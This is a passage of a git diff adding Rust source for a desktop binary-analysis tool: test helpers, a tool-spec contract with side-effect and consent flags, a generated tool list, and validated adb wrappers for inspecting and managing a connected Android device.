TargetKind::Wasm); + assert_eq!(sniff(b"dex\n035\0", "classes.dex"), TargetKind::Dex); + assert_eq!(sniff(b"PK\x03\x04", "app.apk"), TargetKind::Apk); + assert_eq!(sniff(b"bplist00", "Info.plist"), TargetKind::Plist); + assert_eq!(sniff(b"SQLite format 3\0\x10\x00", "app.db"), TargetKind::Sqlite); + assert_eq!(sniff(b"", "x"), TargetKind::Unknown); + assert_eq!(sniff(b"console.log(1)", "main.js"), TargetKind::Script); + } +} diff --git a/desktop/crates/engine/src/testing.rs b/desktop/crates/engine/src/testing.rs new file mode 100644 index 0000000..5d0048c --- /dev/null +++ b/desktop/crates/engine/src/testing.rs @@ -0,0 +1,24 @@ +//! Helpers for tests in this and other crates. Tests never touch the real machine +//! (docs/pitfalls.md): use [`session`] instead of `Session::default()`, which points at this +//! computer's config folder and engine store. + +use crate::Session; +use std::path::PathBuf; +use std::sync::atomic::{AtomicUsize, Ordering}; + +/// A fresh folder under the system temp folder, unique to this test process and call. +pub fn temp_dir() -> PathBuf { + static N: AtomicUsize = AtomicUsize::new(0); + let dir = std::env::temp_dir().join(format!("craft-anything-test-{}-{}", std::process::id(), N.fetch_add(1, Ordering::SeqCst))); + let _ = std::fs::create_dir_all(&dir); + dir +} + +/// A session whose config, plugin caches, engine store and projects live in a fresh temp folder. +/// It is in Deep mode, so tools may look inside the sample targets tests open; a test of Clean room +/// turns `deep_mode` off. +pub fn session() -> Session { + let mut s = Session::isolated(&temp_dir()); + s.settings.deep_mode = true; + s +} diff --git a/desktop/crates/engine/src/tool.rs b/desktop/crates/engine/src/tool.rs new file mode 100644 index 0000000..350e484 --- /dev/null +++ b/desktop/crates/engine/src/tool.rs @@ -0,0 +1,309 @@ +//! Tool specs: the single contract the UI, CLI, MCP server and built-in agent all dispatch through. + +use crate::session::Session; +use bitflags::bitflags; +use craft_anything_evidence::{Evidence, ToolError}; +use serde::de::DeserializeOwned; +use serde::{Deserialize, Serialize}; +use serde_json::Value; + +bitflags! { + /// Side effects of a tool. Every tool declares them; MCP hints and consent are derived from them. + #[derive(Debug, Clone, Copy, PartialEq, Eq, Hash, Serialize, Deserialize)] + pub struct Effects: u16 { + /// Records evidence or changes session state (almost every analysis tool). + const MUTATES_SESSION = 1 << 0; + /// Changes the target or its annotations (rename, comment). + const MUTATES_TARGET = 1 << 1; + const WRITES_FILESYSTEM = 1 << 2; + const LAUNCHES_PROCESS = 1 << 3; + const ACCESSES_NETWORK = 1 << 4; + const CHANGES_UI_STATE = 1 << 5; + const MAY_DISCARD_DATA = 1 << 6; + /// Runs code from the target or a script (process capture, Frida, walkthroughs). Needs consent. + const EXECUTES_FOREIGN_CODE = 1 << 7; + /// Changes a connected device (install, push, start). Needs consent. + const MUTATES_DEVICE = 1 << 8; + const IDEMPOTENT = 1 << 9; + /// Its result carries content taken from the target (decompiled text, strings, bytes, + /// rows, plist values): clients are told to treat it as untrusted data. + const CARRIES_TARGET_CONTENT = 1 << 10; + } +} + +impl Effects { + /// Plain evidence-producing analysis. + pub const EVIDENCE: Effects = Effects::MUTATES_SESSION.union(Effects::IDEMPOTENT); + /// Evidence that needs an engine process. + pub const NATIVE_EVIDENCE: Effects = Effects::EVIDENCE.union(Effects::LAUNCHES_PROCESS); + /// Evidence that talks to a browser or device over the network. + pub const NETWORK_EVIDENCE: Effects = Effects::EVIDENCE.union(Effects::ACCESSES_NETWORK); + /// Pure reads with no effect at all. + pub const READ_ONLY: Effects = Effects::IDEMPOTENT; + + pub fn read_only_hint(self) -> bool { + (self - Effects::IDEMPOTENT).is_empty() + } + + pub fn destructive_hint(self) -> bool { + self.intersects(Effects::MAY_DISCARD_DATA | Effects::EXECUTES_FOREIGN_CODE | Effects::MUTATES_DEVICE) + } + + pub fn open_world_hint(self) -> bool { + self.intersects(Effects::LAUNCHES_PROCESS | Effects::ACCESSES_NETWORK) + } + + pub fn needs_consent(self) -> bool { + self.intersects(Effects::EXECUTES_FOREIGN_CODE | Effects::MUTATES_DEVICE) + } +} + +/// Groups of tools. Agents see `Core` plus whatever toolsets they enable, which keeps their +/// context small. Every tool is always reachable from the CLI and UI. The built-in groups are +/// listed here; a plugin or a fork adds its own with [`Toolset::Custom`] (see +/// [`crate::registry::RuntimeTool`]), and [`crate::Registry::toolsets`] lists every group in use. +/// Serialized as its id. +#[derive(Debug, Clone, Copy, PartialEq, Eq, Hash, PartialOrd, Ord)] +pub enum Toolset { + /// Triage, open/close, overview, search, decompile, function dossier, views, evidence, unknowns. + Core, + /// Deep native: listings, navigation, annotations, xrefs, bytes, call graphs, value traces. + Native, + /// Mach-O, code signing, plists, Swift/ObjC, Interface Builder, asset catalogs, dyld. + Apple, + /// Target-free formats and diagnostics: Go, WASM, EVM, PE resources, ELF layout, crashes, firmware. + Formats, + /// .NET assemblies. + Managed, + /// APK, DEX, resources, Flutter, JEB. + Android, + /// Java `.class` files and JAR/WAR archives: constant pool, bytecode, pseudo-Java. + Java, + /// A phone or emulator over adb. + Adb, + /// Web pages through the browser debugging protocol. + Browser, + /// Electron apps, JavaScript bundles and the V8 inspector. + Javascript, + /// Running programs: process capture, native calls, native UI. + Runtime, + /// Frida instrumentation. + Frida, + /// Application graphs, comparisons and rebuild (reconstruction) ledgers. + Application, + /// Databases on disk: SQLite file inspection. + Database, + /// What the person is making: projects, their conversation and questions. + Projects, + /// Setting up this computer: engines and settings. + Setup, + /// A builder's own hands: reading, writing and building the project it works in. + Build, + /// A group added at run time (its id, lower-case letters, digits and `_`). + Custom(&'static str), +} + +impl Serialize for Toolset { + fn serialize(&self, s: S) -> Result { + s.serialize_str(self.id()) + } +} + +impl Toolset { + pub const ALL: [Toolset; 17] = [ + Toolset::Core, + Toolset::Native, + Toolset::Apple, + Toolset::Formats, + Toolset::Managed, + Toolset::Android, + Toolset::Java, + Toolset::Adb, + Toolset::Browser, + Toolset::Javascript, + Toolset::Runtime, + Toolset::Frida, + Toolset::Application, + Toolset::Database, + Toolset::Projects, + Toolset::Setup, + Toolset::Build, + ]; + + pub fn id(self) -> &'static str { + match self { + Toolset::Core => "core", + Toolset::Native => "native", + Toolset::Apple => "apple", + Toolset::Formats => "formats", + Toolset::Managed => "managed", + Toolset::Android => "android", + Toolset::Java => "java", + Toolset::Adb => "adb", + Toolset::Browser => "browser", + Toolset::Javascript => "javascript", + Toolset::Runtime => "runtime", + Toolset::Frida => "frida", + Toolset::Application => "application", + Toolset::Database => "database", + Toolset::Projects => "projects", + Toolset::Setup => "setup", + Toolset::Build => "build", + Toolset::Custom(id) => id, + } + } + + /// A built-in group by id. Groups added at run time are found with [`crate::Registry::toolset`]. + pub fn from_id(s: &str) -> Option { + Toolset::ALL.into_iter().find(|t| t.id() == s) + } + + pub fn title(self) -> &'static str { + match self { + Toolset::Core => "Essentials", + Toolset::Native => "Programs (native code)", + Toolset::Apple => "Apple apps", + Toolset::Formats => "File formats", + Toolset::Managed => ".NET apps", + Toolset::Android => "Android apps", + Toolset::Java => "Java programs", + Toolset::Adb => "Connected phone", + Toolset::Browser => "Websites", + Toolset::Javascript => "Electron and JavaScript", + Toolset::Runtime => "Running programs", + Toolset::Frida => "Frida instrumentation", + Toolset::Application => "Comparing and rebuilding", + Toolset::Database => "Databases", + Toolset::Projects => "Projects", + Toolset::Setup => "Engines and settings", + Toolset::Build => "Building", + Toolset::Custom(id) => id, + } + } +} + +/// What a tool needs before it can run. +#[derive(Debug, Clone, Copy, PartialEq, Eq, Default)] +pub enum Requires { + #[default] + Nothing, + /// An open target. + Target, + /// The Deep (Ghidra) engine to be enabled and installed. + Ghidra, + /// An external tool, by engine id (`adb`, `jadx`, `chromium`, `frida`, …). + Engine(&'static str), + /// One of these hosts, by `std::env::consts::OS` name (`macos`, `windows`, `linux`). + Os(&'static [&'static str]), +} + +/// Who invoked a tool. Programmatic callers never get dialogs. +#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize)] +#[serde(rename_all = "snake_case")] +pub enum Caller { + Ui, + Cli, + Mcp, + Agent, +} + +/// Cooperative cancellation, shared with long-running work (it lives in `platform`, so the +/// transports below the engine can take it too). +pub use craft_anything_platform::cancel::CancelToken; + +/// Progress reports from a running tool. +#[derive(Debug, Clone, PartialEq, Serialize, Deserialize)] +pub struct Progress { + /// 0..=1 when known. + pub fraction: Option, + pub message: String, +} + +pub type ProgressFn = dyn Fn(Progress) + Send + Sync; + +/// Everything a tool run can touch. +pub struct Ctx<'a> { + /// The id of the tool being run (one function can serve several tools added at run time). + pub tool: &'static str, + pub session: &'a mut Session, + pub cancel: CancelToken, + pub progress: &'a ProgressFn, + pub caller: Caller, +} + +impl Ctx<'_> { + pub fn report(&self, fraction: Option, message: impl Into) { + (self.progress)(Progress { fraction, message: message.into() }); + } +} + +/// What a tool returns. +#[derive(Debug, Clone, PartialEq, Serialize, Deserialize)] +#[serde(tag = "kind", content = "value", rename_all = "snake_case")] +pub enum ToolOutput { + /// An evidence record; the engine stores it in the session ledger. + Evidence(Box), + /// A lifecycle or status result that is not itself evidence. + Value(Value), +} + +impl ToolOutput { + pub fn evidence(e: Evidence) -> Self { + ToolOutput::Evidence(Box::new(e)) + } + + /// The JSON payload agents see. + pub fn to_json(&self) -> Value { + match self { + ToolOutput::Evidence(e) => serde_json::to_value(e).unwrap_or(Value::Null), + ToolOutput::Value(v) => serde_json::json!({ "result": v }), + } + } +} + +pub type ToolFn = fn(&mut Ctx<'_>, Value) -> Result; + +/// A registered tool. +#[derive(Clone, Copy)] +pub struct ToolSpec { + /// snake_case id; also the MCP tool name. The CLI uses the kebab-case form. + pub id: &'static str, + pub title: &'static str, + /// One or two sentences for agents and experienced users. + pub summary: &'static str, + /// Plain-English description for Beginner mode. + pub beginner: &'static str, + pub toolset: Toolset, + pub effects: Effects, + pub requires: Requires, + pub input_schema: fn() -> Value, + pub run: ToolFn, +} + +impl std::fmt::Debug for ToolSpec { + fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result { + f.debug_struct("ToolSpec").field("id", &self.id).field("toolset", &self.toolset).finish() + } +} + +impl ToolSpec { + pub fn cli_name(&self) -> String { + self.id.replace('_', "-") + } +} + +/// JSON Schema for a params type. +pub fn schema_of() -> Value { + serde_json::to_value(schemars::schema_for!(T)).unwrap_or(Value::Null) +} + +/// The schema of a tool that takes no params. +pub fn empty_schema() -> Value { + serde_json::json!({"type": "object", "properties": {}, "additionalProperties": false}) +} + +/// Parse tool params; `null` is treated as `{}` so programmatic callers can omit them. +pub fn parse_params(v: Value) -> Result { + let v = if v.is_null() { Value::Object(Default::default()) } else { v }; + serde_json::from_value(v).map_err(|e| ToolError::invalid(format!("invalid params: {e}"))) +} diff --git a/desktop/crates/engine/src/tool_list.rs b/desktop/crates/engine/src/tool_list.rs new file mode 100644 index 0000000..3f59092 --- /dev/null +++ b/desktop/crates/engine/src/tool_list.rs @@ -0,0 +1,53 @@ +//! The list of every tool, by toolset: `cargo xtask tools` writes it to `docs/tools.md`, and a +//! test keeps the number of tools from ever dropping below [`MIN_TOOLS`]. + +use crate::registry::Registry; + +/// Tools must never drop below this. Raise it when tools are added; never lower it. +pub const MIN_TOOLS: usize = 271; + +/// The Markdown list written to `docs/tools.md`. +pub fn report(registry: &Registry) -> String { + use std::fmt::Write as _; + let mut out = String::new(); + let sets = registry.toolsets(); + let _ = writeln!(out, "# Tools\n\nGenerated by `cargo xtask tools`. Do not edit by hand.\n"); + let _ = writeln!( + out, + "**{} engine tools** in {} toolsets. Each is an MCP tool, a CLI command (`craft-anything-cli `) and a tool the agent can call. The AI and setup layers add their own on top (`rebuild_*`, `assets_key_*`, `setup_*`); `craft-anything-cli commands` lists them all.\n", + registry.all().len(), + sets.len() + ); + for set in sets { + let tools: Vec<_> = registry.all().iter().filter(|s| s.toolset == set).collect(); + if tools.is_empty() { + continue; + } + let _ = writeln!(out, "## {} (`{}`, {})\n", set.title(), set.id(), tools.len()); + for s in tools { + let _ = writeln!(out, "- `{}`: {}", s.id, s.title); + } + let _ = writeln!(out); + } + out +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn the_tool_count_never_drops() { + let n = Registry::with_all_tools().all().len(); + assert!(n >= MIN_TOOLS, "there are {n} tools, fewer than {MIN_TOOLS}"); + } + + #[test] + fn the_list_names_every_tool_once() { + let r = Registry::with_all_tools(); + let text = report(&r); + for s in r.all() { + assert_eq!(text.matches(&format!("- `{}`:", s.id)).count(), 1, "{}", s.id); + } + } +} diff --git a/desktop/crates/engine/src/tools/adb_tools.rs b/desktop/crates/engine/src/tools/adb_tools.rs new file mode 100644 index 0000000..d0dcc6d --- /dev/null +++ b/desktop/crates/engine/src/tools/adb_tools.rs @@ -0,0 +1,1514 @@ +//! A connected Android phone or emulator, through the user's `adb`. +//! +//! Every tool runs `adb` via [`craft_anything_platform::process`] (closed stdin, wall and idle +//! deadlines, capped output, process-group kill on timeout/cancel/drop) and returns an [`Evidence`] +//! record on the authority of an [`Authority::OutsideService`] (the device). Serials, package +//! names, settings keys, intent actions and components are validated against strict allowlists; +//! device paths and extra values are single-quoted before they reach the device shell. Device-paths +//! never become part of a host shell string — adb arguments are passed as argv. +//! +//! Tools that write to the device (`push`, `install`, `uninstall`, `start`, `stop`) carry +//! [`Effects::MUTATES_DEVICE`] and are consent-gated; tools that write to the host carry +//! [`Effects::WRITES_FILESYSTEM`]. When adb isn't installed every tool (except `engines_adb_check`, +//! which reports exactly that) returns a clear `EngineMissing`; when the device is missing or +//! unauthorised they return `NotFound` / `NoPermission`. Nothing ever hangs. + +use super::artifact_tools::{UnlessWritten, create_absent_dir}; +use super::native_common::spec; +use crate::tool::{Ctx, Effects, Requires, ToolOutput, ToolSpec, Toolset, parse_params, schema_of}; +use craft_anything_engines::adb::{self, Adb, Device}; +use craft_anything_evidence::{Authority, Confidence, Coverage, Environment, ErrorCode, Evidence, EvidenceBuilder, Limitation, Location, Subject, ToolError}; +use craft_anything_platform::fs::write_atomic; +use craft_anything_platform::process::{Cancel, Output}; +use schemars::JsonSchema; +use serde::{Deserialize, Serialize}; +use serde_json::{Value, json}; +use std::sync::Arc; +use std::time::Duration; + +pub fn specs() -> Vec { + use Toolset::Adb; + // Base effects for a read-only device query: records evidence, runs adb, talks to the device + // over adb's socket. + let read = Effects::MUTATES_SESSION | Effects::LAUNCHES_PROCESS | Effects::ACCESSES_NETWORK; + let host_write = read | Effects::WRITES_FILESYSTEM; + let device_write = read | Effects::MUTATES_DEVICE; // MUTATES_DEVICE → consent-gated + let eng = Requires::Engine("adb"); + vec![ + spec( + "engines_adb_check", + "Is adb available?", + "Report whether Android platform-tools (adb) is installed (Settings path, the managed engine store, then PATH) and its version. Contacts no device. Needs nothing installed to answer.", + "Check whether the helper that talks to Android phones is installed.", + Adb, + Effects::MUTATES_SESSION | Effects::LAUNCHES_PROCESS, + Requires::Nothing, + schema_of::, + engines_adb_check, + ), + spec( + "adb_devices_find", + "Connected devices", + "List phones and emulators attached to adb (`adb devices -l`): serial, connection state (device, unauthorized, offline…), product, model and transport id.", + "See which Android phones or emulators are plugged in.", + Adb, + read, + eng, + schema_of::, + adb_devices_find, + ), + spec( + "adb_device_show", + "Device details", + "Read a whitelist of device properties with `getprop` (manufacturer, brand, model, Android version and SDK level, security patch, CPU ABIs, build fingerprint/type). The full property set is parsed and counted; a bounded sample is attached.", + "Find out what phone this is and which Android version it runs.", + Adb, + read, + eng, + schema_of::, + adb_device_show, + ), + spec( + "adb_apps_list", + "Installed apps", + "List installed package names with `pm list packages`. Scope all (default), third_party (-3) or system (-s).", + "List the apps installed on the phone.", + Adb, + read, + eng, + schema_of::, + adb_apps_list, + ), + spec( + "adb_log_read", + "Device log", + "Read a bounded tail of the device log with `logcat -d` (dump and exit, never follow). count 1..10000 (default 500), buffer main|system|radio|events|crash (default main), optional pid filter. Lines are parsed into timestamp, pid, tid, level, tag and message.", + "Read recent messages the phone printed, so you can see what an app is doing.", + Adb, + read, + eng, + schema_of::, + adb_log_read, + ), + spec( + "adb_app_show", + "App details on device", + "Inspect one installed package with `dumpsys package `: version name/code, userId, install and update times, data and code paths, declared and granted permissions. Key fields are parsed; a bounded raw tail is attached for the rest.", + "Look at one installed app's version, permissions and where it lives on the phone.", + Adb, + read, + eng, + schema_of::, + adb_app_show, + ), + spec( + "adb_running_processes_list", + "Running processes", + "List running processes with `ps -A`, parsed into user, pid, ppid and name using the column header.", + "See what is running on the phone right now.", + Adb, + read, + eng, + schema_of::, + adb_running_processes_list, + ), + spec( + "adb_folder_list", + "Device folder", + "List a folder on the device with `ls -la` (the path is single-quoted for the device shell). Raw lines are kept; a best-effort parse of name, size and permissions is attached.", + "Look at the files in a folder on the phone.", + Adb, + read, + eng, + schema_of::, + adb_folder_list, + ), + spec( + "adb_device_features_list", + "Device features", + "List hardware and software features the device reports with `pm list features`.", + "See what the phone's hardware can do (camera, NFC, sensors…).", + Adb, + read, + eng, + schema_of::, + adb_device_features_list, + ), + spec( + "adb_system_services_list", + "System services", + "List registered system services with `service list`: index, name and the AIDL interface each exposes.", + "See the phone's built-in system services.", + Adb, + read, + eng, + schema_of::, + adb_system_services_list, + ), + spec( + "adb_display_show", + "Display info", + "Read display state with `dumpsys display`. Key lines (display ids, real size, density, state) are surfaced; a bounded raw tail is attached.", + "Find out about the phone's screen size and density.", + Adb, + read, + eng, + schema_of::, + adb_display_show, + ), + spec( + "adb_window_show", + "Window / focus info", + "Read window-manager state with `dumpsys window`. Focused window and app, and current activity lines are surfaced; a bounded raw tail is attached.", + "See which app and screen is in front on the phone.", + Adb, + read, + eng, + schema_of::, + adb_window_show, + ), + spec( + "adb_setting_get", + "Read a setting", + "Read one settings value with `settings get `. namespace system|secure|global; key is validated.", + "Read one of the phone's settings.", + Adb, + read, + eng, + schema_of::, + adb_setting_get, + ), + spec( + "adb_apps_find", + "Find an app", + "Find installed packages whose name contains a search term with `pm list packages `.", + "Search the phone's apps by name.", + Adb, + read, + eng, + schema_of::, + adb_apps_find, + ), + spec( + "adb_app_download", + "Copy an app off the phone", + "Copy an installed app's APK file(s) to a host folder: resolve paths with `pm path`, then `adb pull` each. output_directory must be absolute and must not exist yet; it is created fresh.", + "Copy an app's installer file from the phone to your computer.", + Adb, + host_write, + eng, + schema_of::, + adb_app_download, + ), + spec( + "adb_file_download", + "Copy a file off the phone", + "Copy a file or folder from the device to a host folder with `adb pull`. output_directory must be absolute and fresh.", + "Copy a file from the phone to your computer.", + Adb, + host_write, + eng, + schema_of::, + adb_file_download, + ), + spec( + "adb_screenshot_take", + "Screenshot", + "Take a screenshot with `exec-out screencap -p` and write screen.png to a fresh host folder. output_directory must be absolute and must not exist yet.", + "Take a picture of what's on the phone's screen.", + Adb, + host_write, + eng, + schema_of::, + adb_screenshot_take, + ), + spec( + "adb_bugreport_save", + "Bug report", + "Collect a full bug report with `adb bugreport` into a fresh host folder (this can take minutes). output_directory must be absolute and must not exist yet.", + "Gather a big diagnostic report from the phone (takes a while).", + Adb, + host_write, + eng, + schema_of::, + adb_bugreport_save, + ), + spec( + "adb_file_upload", + "Copy a file to the phone", + "Copy a host file to the device with `adb push`. local_path is an absolute host file; device_path is an absolute device path. With overwrite=false the tool refuses if the device path already exists. Changes the device.", + "Copy a file from your computer onto the phone.", + Adb, + device_write, + eng, + schema_of::, + adb_file_upload, + ), + spec( + "adb_app_install", + "Install an app", + "Install an APK on the device with `adb install` (replace=true adds -r). apk_path is an absolute host file. Changes the device.", + "Install an app onto the phone from an installer file.", + Adb, + device_write, + eng, + schema_of::, + adb_app_install, + ), + spec( + "adb_app_remove", + "Remove an app", + "Uninstall a package with `adb uninstall`. Changes the device.", + "Remove an app from the phone.", + Adb, + device_write, + eng, + schema_of::, + adb_app_remove, + ), + spec( + "adb_app_launch", + "Launch an app", + "Launch a package's default activity with `monkey -p -c android.intent.category.LAUNCHER 1`. Changes the device (starts an app).", + "Open an app on the phone.", + Adb, + device_write, + eng, + schema_of::, + adb_app_launch, + ), + spec( + "adb_activity_open", + "Start an activity", + "Start an activity with `am start`: action (validated), optional data_uri (single-quoted), optional component (pkg/.Activity), and as many as 16 extras, each a text, true/false, whole or decimal number value. Changes the device.", + "Open a specific screen in an app on the phone.", + Adb, + device_write, + eng, + schema_of::, + adb_activity_open, + ), + spec( + "adb_app_force_stop", + "Force-stop an app", + "Force-stop a package with `am force-stop`. Changes the device.", + "Make an app on the phone stop running.", + Adb, + device_write, + eng, + schema_of::, + adb_app_force_stop, + ), + ] +} + +// ------------------------------------------------------------------------------------------------ +// Params + +#[derive(Debug, Deserialize, JsonSchema)] +#[serde(deny_unknown_fields)] +struct Empty {} + +#[derive(Debug, Serialize, Deserialize, JsonSchema)] +#[serde(deny_unknown_fields)] +struct SerialParams { + /// Device serial from adb_devices_find (e.g. emulator-5554). + serial: String, +} + +#[derive(Debug, Clone, Copy, Default, Serialize, Deserialize, JsonSchema)] +#[serde(rename_all = "snake_case")] +enum PackageScope { + #[default] + All, + ThirdParty, + System, +} + +#[derive(Debug, Serialize, Deserialize, JsonSchema)] +#[serde(deny_unknown_fields)] +struct ListPackagesParams { + serial: String, + #[serde(default)] + scope: PackageScope, +} + +#[derive(Debug, Clone, Copy, Default, Serialize, Deserialize, JsonSchema)] +#[serde(rename_all = "snake_case")] +enum LogBuffer { + #[default] + Main, + System, + Radio, + Events, + Crash, +} + +impl LogBuffer { + fn name(self) -> &'static str { + match self { + LogBuffer::Main => "main", + LogBuffer::System => "system", + LogBuffer::Radio => "radio", + LogBuffer::Events => "events", + LogBuffer::Crash => "crash", + } + } +} + +fn default_count() -> u32 { + 500 +} + +#[derive(Debug, Serialize, Deserialize, JsonSchema)] +#[serde(deny_unknown_fields)] +struct LogcatParams { + serial: String, + /// Number of recent lines (1..10000). + #[serde(default = "default_count")] + count: u32, + #[serde(default)] + buffer: LogBuffer, + /// Only lines from this process id. + #[serde(default)] + pid: Option, +} + +#[derive(Debug, Serialize, Deserialize, JsonSchema)] +#[serde(deny_unknown_fields)] +struct PackageParams { + serial: String, + /// Package name (e.g. com.example.app). + package: String, +} + +#[derive(Debug, Serialize, Deserialize, JsonSchema)] +#[serde(deny_unknown_fields)] +struct DirectoryParams { + serial: String, + /// Absolute device path (e.g. /sdcard/Download). + device_path: String, +} + +#[derive(Debug, Clone, Copy, Default, Serialize, Deserialize, JsonSchema)] +#[serde(rename_all = "snake_case")] +enum SettingNamespace { + #[default] + System, + Secure, + Global, +} + +impl SettingNamespace { + fn name(self) -> &'static str { + match self { + SettingNamespace::System => "system", + SettingNamespace::Secure => "secure", + SettingNamespace::Global => "global", + } + } +} + +#[derive(Debug, Serialize, Deserialize, JsonSchema)] +#[serde(deny_unknown_fields)] +struct SettingParams { + serial: String, + #[serde(default)] + namespace: SettingNamespace, + /// Setting key (e.g. screen_brightness). + key: String, +} + +#[derive(Debug, Serialize, Deserialize, JsonSchema)] +#[serde(deny_unknown_fields)] +struct ResolveParams { + serial: String, + /// Substring to match against package names. + query: String, +} + +#[derive(Debug, Serialize, Deserialize, JsonSchema)] +#[serde(deny_unknown_fields)] +struct OutputDirParams { + serial: String, + /// Absolute host folder that must not exist yet; it is created fresh. + output_directory: String, +} + +#[derive(Debug, Serialize, Deserialize, JsonSchema)] +#[serde(deny_unknown_fields)] +struct PullPackageParams { + serial: String, + package: String, + output_directory: String, +} + +#[derive(Debug, Serialize, Deserialize, JsonSchema)] +#[serde(deny_unknown_fields)] +struct PullFileParams { + serial: String, + device_path: String, + output_directory: String, +} + +fn default_true() -> bool { + true +} + +#[derive(Debug, Serialize, Deserialize, JsonSchema)] +#[serde(deny_unknown_fields)] +struct PushParams { + serial: String, + /// Absolute host file to copy. + local_path: String, + /// Absolute destination path on the device. + device_path: String, + /// Refuse if the device path already exists (default false → adb push overwrites). + #[serde(default)] + overwrite: bool, +} + +#[derive(Debug, Serialize, Deserialize, JsonSchema)] +#[serde(deny_unknown_fields)] +struct InstallParams { + serial: String, + /// Absolute host APK file. + apk_path: String, + /// Reinstall keeping data (adb install -r). + #[serde(default = "default_true")] + replace: bool, +} + +#[derive(Debug, Clone, Copy, Serialize, Deserialize, JsonSchema)] +#[serde(rename_all = "snake_case")] +enum ExtraType { + String, + Boolean, + Int, + Long, + Float, +} + +#[derive(Debug, Serialize, Deserialize, JsonSchema)] +#[serde(deny_unknown_fields)] +struct Extra { + key: String, + #[serde(rename = "type")] + ty: ExtraType, + value: String, +} + +#[derive(Debug, Serialize, Deserialize, JsonSchema)] +#[serde(deny_unknown_fields)] +struct ActivityParams { + serial: String, + /// Intent action, e.g. android.intent.action.VIEW. + #[serde(default)] + action: Option, + /// Data URI (-d), single-quoted for the device shell. + #[serde(default)] + data_uri: Option, + /// Explicit component (-n), e.g. com.example.app/.MainActivity. + #[serde(default)] + component: Option, + /// Up to 16 typed intent extras. + #[serde(default)] + extras: Vec, +} + +// ------------------------------------------------------------------------------------------------ +// Shared plumbing + +/// Build an adb handle for the active settings, wiring cancellation and progress-friendly deadlines. +fn adb_for(ctx: &Ctx<'_>) -> Result { + let s = &ctx.session.settings; + let path = craft_anything_engines::locate("adb", &s.engines.tools, &s.engine_store_dir()).ok_or_else(|| { + ToolError::new(ErrorCode::EngineMissing, "Android platform-tools (adb) isn't installed.") + .with_remediation("Install it from Settings → Engines, or run engines_install with engine \"adb\".") + })?; + Ok(Adb::new(path).cancel(cancel_of(ctx))) +} + +fn cancel_of(ctx: &Ctx<'_>) -> Cancel { + let c = ctx.cancel.clone(); + Arc::new(move || c.is_cancelled()) +} + +fn device_env(ctx: &Ctx<'_>) -> Environment { + Environment { + clean_room: ctx.session.clean_room(), + engine: "adb".into(), + engine_version: None, + host: craft_anything_evidence::host_triple(), + language_id: None, + } +} + +fn device_subject(serial: &str) -> Subject { + Subject { kind: "device".into(), sha256: None, name: Some(serial.to_string()) } +} + +/// Start a device evidence record on the authority of the external service (the device). +fn dev_ev(ctx: &Ctx<'_>, op: &str, serial: &str, params: Value) -> EvidenceBuilder { + EvidenceBuilder::new(op, device_subject(serial), device_env(ctx)).params(params).authority(Authority::OutsideService).confidence(Confidence::Observed) +} + +/// Confirm the serial names a device that is present and online; otherwise a clear, never-hanging +/// error. +fn ensure_online(adb: &Adb, serial: &str) -> Result { + let devices = adb.devices()?; + match devices.iter().find(|d| d.serial == serial) { + Some(d) if d.is_online() => Ok(d.clone()), + Some(d) if d.state == "unauthorized" => Err(ToolError::new(ErrorCode::NoPermission, format!("Device {serial} has not authorised this computer.")) + .with_remediation("On the phone, accept the \"Allow USB debugging\" prompt, then try again.")), + Some(d) => Err(ToolError::new(ErrorCode::NotFound, format!("Device {serial} is {}, not ready.", d.state)) + .with_remediation("Wait for it to come online (unlock it / reconnect it), then try again.")), + None => { + let serials: Vec<&str> = devices.iter().map(|d| d.serial.as_str()).collect(); + Err(ToolError::new(ErrorCode::NotFound, format!("No device with serial {serial} is connected.")) + .with_remediation("List connected devices with adb_devices_find and use one of their serials.") + .with_details(json!({"connected": serials}))) + } + } +} + +/// stdout of an `adb shell` command, or an error when nothing usable came back. +fn shell_text(adb: &Adb, serial: &str, line: &str, what: &str) -> Result { + let out = adb.shell(serial, line)?; + usable(out, what) +} + +fn usable(out: Output, what: &str) -> Result { + if out.success || !out.stdout.is_empty() { + return Ok(out.stdout_text()); + } + Err(exec_error(what, &out)) +} + +/// Build the "command produced nothing usable" error from a finished run. +fn exec_error(what: &str, out: &Output) -> ToolError { + let tail = tail_text(&out.stderr_text()); + let msg = tail.lines().rev().find(|l| !l.trim().is_empty()).unwrap_or("no output").trim().to_string(); + ToolError::new(ErrorCode::ProgramFailed, format!("{what} failed: {msg}")) + .with_remediation(format!("What adb printed last:\n{}", craft_anything_platform::process::output_excerpt(&tail))) + .with_details(json!({"exit_code": out.code, "stderr_tail": tail})) +} + +fn tail_text(s: &str) -> String { + let n = s.chars().count(); + s.chars().skip(n.saturating_sub(2000)).collect() +} + +/// The validated serial from params. +fn serial_of(s: &str) -> Result<&str, ToolError> { + adb::validate_serial(s) +} + +fn done(e: Evidence) -> Result { + Ok(ToolOutput::evidence(e)) +} + +/// A limitation noting that large text output is summarised, with a bounded raw tail attached. +fn passthrough_limitation(cmd: &str) -> Limitation { + Limitation::new( + "dumpsys_passthrough", + format!("Only key fields of `{cmd}` are parsed; the rest is attached as a bounded raw tail (first ~16 KiB), not structured."), + ) +} + +/// Keep at most `max` bytes of text (for raw-tail attachments). +fn clip(s: &str, max: usize) -> (String, bool) { + if s.len() <= max { + (s.to_string(), false) + } else { + let cut = s.char_indices().take_while(|(i, _)| *i < max).last().map(|(i, c)| i + c.len_utf8()).unwrap_or(0); + (s.get(..cut).unwrap_or("").to_string(), true) + } +} + +// ------------------------------------------------------------------------------------------------ +// Tools + +fn engines_adb_check(ctx: &mut Ctx<'_>, params: Value) -> Result { + let _: Empty = parse_params(params)?; + let s = &ctx.session.settings; + let found = craft_anything_engines::locate("adb", &s.engines.tools, &s.engine_store_dir()); + let mut lims = Vec::new(); + let (version, error) = match &found { + Some(path) => match Adb::new(path.clone()).cancel(cancel_of(ctx)).timeout(Duration::from_secs(20)).version() { + Ok(v) if !v.is_empty() => (Some(v), None), + Ok(_) => (None, Some("adb did not report a version".to_string())), + Err(e) => (None, Some(e.message)), + }, + None => (None, None), + }; + if let Some(e) = &error { + lims.push(Limitation::new("version_probe_failed", format!("adb was found but reporting its version failed: {e}"))); + } + let available = found.is_some() && error.is_none(); + let summary = match (&found, &version) { + (Some(p), Some(v)) => format!("adb is available: {v} at {}.", p.display()), + (Some(p), None) => format!("adb was found at {} but did not report a version.", p.display()), + (None, _) => "adb is not installed. Install it from Settings → Engines, or run engines_install with engine \"adb\".".into(), + }; + let e = 